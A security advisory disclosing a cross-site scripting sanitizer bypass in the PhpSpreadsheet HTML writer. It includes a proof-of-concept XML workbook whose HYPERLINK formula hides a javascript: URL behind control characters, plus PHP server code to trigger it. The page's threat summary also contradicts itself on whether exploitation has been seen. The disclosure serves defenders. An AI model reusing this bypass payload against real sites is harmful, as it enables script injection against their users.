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GHSA-r57h-547h-w24f

MediumCVSS 5.4 / 10
Published Feb 3, 2025·Last modified Mar 6, 2025
Affected Components(0)

No affected components available

Description

Product: PhpSpreadsheet Version: 3.8.0 CWE-ID: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CVSS vector v.3.1: 5.4 (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) CVSS vector v.4.0: 4.8 (AV:N/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N) Description: an attacker can use special characters, so that the library processes the javascript protocol with special characters and generates an HTML link Impact: executing arbitrary JavaScript code in the browser Vulnerable component: class PhpOffice\PhpSpreadsheet\Writer\Html, method generateRow Exploitation conditions: a user viewing a specially generated xml file Mitigation: additional sanitization of special characters in a string Researcher: Igor Sak-Sakovskiy (Positive Technologies)

Research

The researcher discovered zero-day vulnerability Bypass XSS sanitizer using the javascript protocol and special characters in Phpspreadsheet. The following code is written on the server, which translates the XML file into an HTML representation and displays it in the response.

Listing 4. Source code on the server

<?php

require __DIR__ . '/vendor/autoload.php';

$inputFileType = 'Xml';
$reader = \PhpOffice\PhpSpreadsheet\IOFactory::createReader($inputFileType);  

$inputFileName = './doc/file.xml';
$spreadsheet = $reader->load($inputFileName); 
 
$writer = new \PhpOffice\PhpSpreadsheet\Writer\Html($spreadsheet); 
print($writer->generateHTMLAll());

The contents of the xml file - ./doc/file.xml

Listing 5. The contents of the xml file

<?xml version="1.0"?> 
<?mso-application progid="Excel.Sheet"?> 
<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:o="urn:schemas-microsoft-com:office:office" 
 xmlns:x="urn:schemas-microsoft-com:office:excel" 
 xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet" 
 xmlns:html="http://www.w3.org/TR/REC-html40"> 
 <DocumentProperties xmlns="urn:schemas-microsoft-com:office:office"> 
  <Author>author</Author> 
  <LastAuthor>author</LastAuthor> 
  <Created>2015-06-05T18:19:34Z</Created> 
  <LastSaved>2024-12-25T10:16:07Z</LastSaved> 
  <Version>16.00</Version> 
 </DocumentProperties> 
 <OfficeDocumentSettings xmlns="urn:schemas-microsoft-com:office:office"> 
  <AllowPNG/> 
 </OfficeDocumentSettings> 
 <ExcelWorkbook xmlns="urn:schemas-microsoft-com:office:excel"> 
  <WindowHeight>11020</WindowHeight> 
  <WindowWidth>19420</WindowWidth> 
  <WindowTopX>32767</WindowTopX> 
  <WindowTopY>32767</WindowTopY> 
  <ProtectStructure>False</ProtectStructure> 
  <ProtectWindows>False</ProtectWindows> 
 </ExcelWorkbook> 
 <Styles> 
  <Style ss:ID="Default" ss:Name="Normal"> 
   <Alignment ss:Vertical="Bottom"/> 
   <Borders/> 
   <Font ss:FontName="Calibri" x:Family="Swiss" ss:Size="11" ss:Color="#000000"/> 
   <Interior/> 
   <NumberFormat/> 
   <Protection/> 
  </Style> 
  <Style ss:ID="s16"> 
   <NumberFormat ss:Format="General Date"/> 
  </Style> 
 </Styles> 
 <Worksheet ss:Name="Лист1"> 
  <Table ss:ExpandedColumnCount="2" ss:ExpandedRowCount="6" x:FullColumns="1" 
   x:FullRows="1" ss:DefaultRowHeight="14.5"> 
   <Column ss:AutoFitWidth="0" ss:Width="194"/> 
   <Row> 
     <Cell ss:Formula="=HYPERLINK (CHAR(20) &amp; &quot;j&quot; &amp; CHAR(13) &amp; &quot;avascript:alert(1)&quot;)"><Data ss:Type="String"></Data></Cell> 
   </Row> 
  </Table> 
  <WorksheetOptions xmlns="urn:schemas-microsoft-com:office:excel"> 
   <PageSetup> 
    <Header x:Margin="0.3"/> 
    <Footer x:Margin="0.3"/> 
    <PageMargins x:Bottom="0.75" x:Left="0.7" x:Right="0.7" x:Top="0.75"/> 
   </PageSetup> 
   <Selected/> 
   <TopRowVisible>1</TopRowVisible> 
   <Panes> 
    <Pane> 
     <Number>3</Number> 
     <ActiveRow>6</ActiveRow> 
    </Pane> 
   </Panes> 
   <ProtectObjects>False</ProtectObjects> 
   <ProtectScenarios>False</ProtectScenarios> 
  </WorksheetOptions> 
 </Worksheet>
</Workbook>

Due to the load with a special character in front of the javascript protocol, the execution flow hits line 1595, not 1593.

Figure 4. Generating a link bypassing a regular expression fig4

In the response from the server, you can see which special character is located in front of the javascript protocol after conversion.

Figure 5. Response from the server with a special character fig5

When viewing the rendered result, a link becomes visible in the browser, and when clicked, the embedded JavaScript code will be executed.

Figure 6. Executing JavaScript code <img width="595" alt="fig6" src="https://github.com/user-attachments/assets/b8ff1aeb-ba3b-49c1-a3b4-9e2cc1fc52d1" />


Credit

Igor Sak-Sakovskiy (Positive Technologies)

Risk Scores
Base Score
5.4

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information. There is a low impact on the integrity of the data.

Threat Intelligence
5.0

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.40%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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